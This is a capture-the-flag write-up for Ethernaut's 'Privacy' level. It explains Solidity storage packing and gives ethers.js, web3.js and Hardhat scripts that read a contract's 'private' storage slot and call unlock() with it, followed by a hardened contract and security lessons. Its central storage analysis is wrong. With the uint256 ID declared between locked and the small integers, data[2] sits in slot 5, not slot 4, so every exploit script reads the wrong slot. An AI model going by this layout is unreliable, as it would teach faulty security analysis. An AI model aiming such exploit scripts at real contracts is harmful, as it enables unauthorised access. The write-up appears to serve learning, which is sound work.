Privacy Challenge - Ethernaut Level 12
Challenge Description
Challenge Goal
Unlock the contract by finding the private key. This challenge requires understanding of storage packing, multiple data types, and how to read specific bytes from storage slots.
The Contract
Here's the smart contract we'll be exploiting:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
(ASCII art removed for clarity)
*/
}Understanding the Contract
Let's break down how this contract works:
- State Variables: The contract has several state variables:
locked(public bool): Indicates whether the contract is lockedID(public uint256): Set to block.timestamp during constructionflattening(private uint8): Set to 10denomination(private uint8): Set to 255awkwardness(private uint16): Set to block.timestamp cast to uint16data(private bytes32[3]): An array of three 32-byte values passed in constructor
- Constructor: Takes a bytes32 array and stores it in the data variable
- unlock Function: Compares the provided key with
data[2](the third element) and unlocks if they match
The vulnerability lies in understanding the storage layout and accessing the private data array.
Understanding Storage Layout
This challenge requires deep understanding of how Solidity packs variables into storage slots. Let's analyze the storage layout:
Storage Layout Analysis
Storage Layout:
Slot 0: locked (bool) - 1 byte
flattening (uint8) - 1 byte
denomination (uint8) - 1 byte
awkwardness (uint16) - 2 bytes
[padding] - 27 bytes
Total: 32 bytes
Slot 1: ID (uint256) - 32 bytes
Slot 2: data[0] (bytes32) - 32 bytes
Slot 3: data[1] (bytes32) - 32 bytes
Slot 4: data[2] (bytes32) - 32 bytes (This contains the key we need!)
Note: Variables in the same slot are packed together to save gas.Storage Packing Rules
Solidity packs variables into storage slots according to these rules:
- Variables are packed from right to left within a slot
- Each slot is 32 bytes (256 bits)
- Variables that don't fit in the current slot start a new slot
- Arrays and mappings always start on new slots
- Structs follow the same packing rules
The Vulnerability
This contract has the same fundamental issue as the Vault challenge, but with added complexity:
- Storage Visibility: All storage data is publicly readable, regardless of visibility modifiers
- Complex Layout: The key is stored in
data[2]at storage slot 4 - Type Conversion: The unlock function expects a
bytes16but storesbytes32 - Storage Packing: Understanding how variables are packed into slots is crucial
The Exploit
To exploit this contract, we need to:
Steps to Exploit:
- Read the storage slot 4 to get
data[2](the full bytes32 value) - Convert the bytes32 to bytes16 (take the first 16 bytes)
- Call the
unlockfunction with the bytes16 key - Verify that the contract is now unlocked
Reading Storage Data
We can read the storage data using several methods:
Method 1: Using ethers.js
// Using ethers.js to read storage
const privacyAddress = "INSTANCE_ADDRESS";
// Read data[2] from storage slot 4
const dataSlot2 = await ethers.provider.getStorageAt(privacyAddress, 4);
console.log("data[2] (bytes32):", dataSlot2);
// Convert bytes32 to bytes16 (take first 16 bytes)
const key = dataSlot2.slice(0, 34); // Remove '0x' and take first 32 chars (16 bytes)
console.log("Key (bytes16):", key);
// Call unlock with the key
const privacy = await ethers.getContractAt("Privacy", privacyAddress);
const tx = await privacy.unlock(key);
await tx.wait();
// Check if the contract is unlocked
const locked = await privacy.locked();
console.log("Contract locked:", locked);Method 2: Using web3.js
// Using web3.js to read storage
const privacyAddress = "INSTANCE_ADDRESS";
// Read data[2] from storage slot 4
const dataSlot2 = await web3.eth.getStorageAt(privacyAddress, 4);
console.log("data[2] (bytes32):", dataSlot2);
// Convert bytes32 to bytes16 (take first 16 bytes)
const key = dataSlot2.slice(0, 34); // Remove '0x' and take first 32 chars (16 bytes)
console.log("Key (bytes16):", key);
// Call unlock with the key
const privacy = new web3.eth.Contract(PrivacyABI, privacyAddress);
await privacy.methods.unlock(key).send({ from: playerAddress });
// Check if the contract is unlocked
const locked = await privacy.methods.locked().call();
console.log("Contract locked:", locked);Method 3: Using Remix IDE
You can also exploit this manually using Remix IDE:
- Deploy the Privacy contract with some data
- In the Remix console, use
web3.eth.getStorageAt(contractAddress, 4)to read data[2] - Convert the bytes32 to bytes16 by taking the first 16 bytes
- Call the
unlockfunction with the bytes16 key - Check the
lockedvariable to confirm it's now false
Complete Exploit Script
// Complete exploit script
const { ethers } = require("hardhat");
async function main() {
// Get the privacy instance address
const privacyAddress = "INSTANCE_ADDRESS";
console.log("Privacy address:", privacyAddress);
// Read the current locked status
const privacy = await ethers.getContractAt("Privacy", privacyAddress);
const initiallyLocked = await privacy.locked();
console.log("Initially locked:", initiallyLocked);
// Read data[2] from storage slot 4
const dataSlot2 = await ethers.provider.getStorageAt(privacyAddress, 4);
console.log("data[2] (bytes32):", dataSlot2);
// Convert bytes32 to bytes16 (take first 16 bytes)
const key = dataSlot2.slice(0, 34); // Remove '0x' and take first 32 chars (16 bytes)
console.log("Key (bytes16):", key);
// Unlock the contract
console.log("Unlocking contract...");
const tx = await privacy.unlock(key);
await tx.wait();
console.log("Unlock transaction completed!");
// Verify the contract is unlocked
const finallyLocked = await privacy.locked();
console.log("Finally locked:", finallyLocked);
if (!finallyLocked) {
console.log("✅ Contract successfully unlocked!");
} else {
console.log("❌ Contract is still locked");
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});Understanding the Conversion
The key insight is understanding the conversion from bytes32 to bytes16:
data[2]is stored asbytes32(32 bytes)- The
unlockfunction expectsbytes16(16 bytes) - We need to take the first 16 bytes of the
bytes32value - This is done by slicing the hex string:
dataSlot2.slice(0, 34)
Example Conversion
// Example conversion
const dataSlot2 = "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef";
const key = dataSlot2.slice(0, 34);
// Result: "0x1234567890abcdef1234567890abcdef"
// Explanation:
// - Remove '0x' prefix (2 chars)
// - Take first 32 hex characters (16 bytes)
// - Add '0x' prefix back
// - Total length: 34 charactersSecurity Lessons
- Storage Visibility: All data stored in smart contracts is publicly readable, regardless of visibility modifiers.
- Storage Packing: Understanding how variables are packed into storage slots is crucial for security analysis.
- Type Conversions: Be careful with type conversions, especially when dealing with bytes of different sizes.
- Complex Storage: Arrays and complex data structures can make storage analysis more challenging but not impossible.
- No True Privacy: Never assume that data stored in smart contracts is private, even with complex storage layouts.
Prevention
Here's how you could improve this contract to make it more secure:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract SecurePrivacy is Ownable {
bool public locked;
mapping(address => bool) public authorizedUsers;
event ContractUnlocked(address indexed user);
event UserAuthorized(address indexed user);
constructor() {
locked = true;
authorizedUsers[msg.sender] = true; // Owner is authorized
}
modifier onlyAuthorized() {
require(authorizedUsers[msg.sender], "Not authorized");
_;
}
function unlock() external onlyAuthorized {
require(locked, "Contract already unlocked");
locked = false;
emit ContractUnlocked(msg.sender);
}
function authorizeUser(address user) external onlyOwner {
authorizedUsers[user] = true;
emit UserAuthorized(user);
}
function revokeUser(address user) external onlyOwner {
authorizedUsers[user] = false;
}
function lock() external onlyOwner {
locked = true;
}
}The improved contract:
- Uses access control instead of passwords
- Implements proper authorization mechanisms
- Includes events for transparency
- Allows the owner to manage authorized users
- Doesn't rely on "hidden" data for security
Advanced Storage Analysis
For more complex storage analysis, you can use tools like:
- Storage Layout: Use
solc --storage-layoutto get the exact storage layout - Etherscan: View contract storage on block explorers
- Hardhat: Use
hardhat-storage-layoutplugin - Manual Analysis: Calculate storage slots manually based on Solidity rules
Storage Layout Command
# Generate storage layout
solc --storage-layout Privacy.sol
# This will output the exact storage layout including:
# - Variable names and types
# - Storage slots
# - Offset within slots
# - Packing informationConclusion
The Privacy challenge is an advanced lesson in Ethereum storage mechanics. It demonstrates that even complex storage layouts with multiple data types and arrays cannot hide data from determined attackers.
The key takeaways are:
- Storage Packing: Understanding how Solidity packs variables is essential for security analysis
- Type Conversions: Be aware of how data types are converted, especially with bytes
- No Privacy: All blockchain data is public and accessible
- Complex Analysis: Even complex storage layouts can be reverse-engineered
When designing smart contracts, always assume that all data will be publicly visible and design your security mechanisms accordingly. Use proper access controls, cryptographic techniques, and off-chain solutions when privacy is required.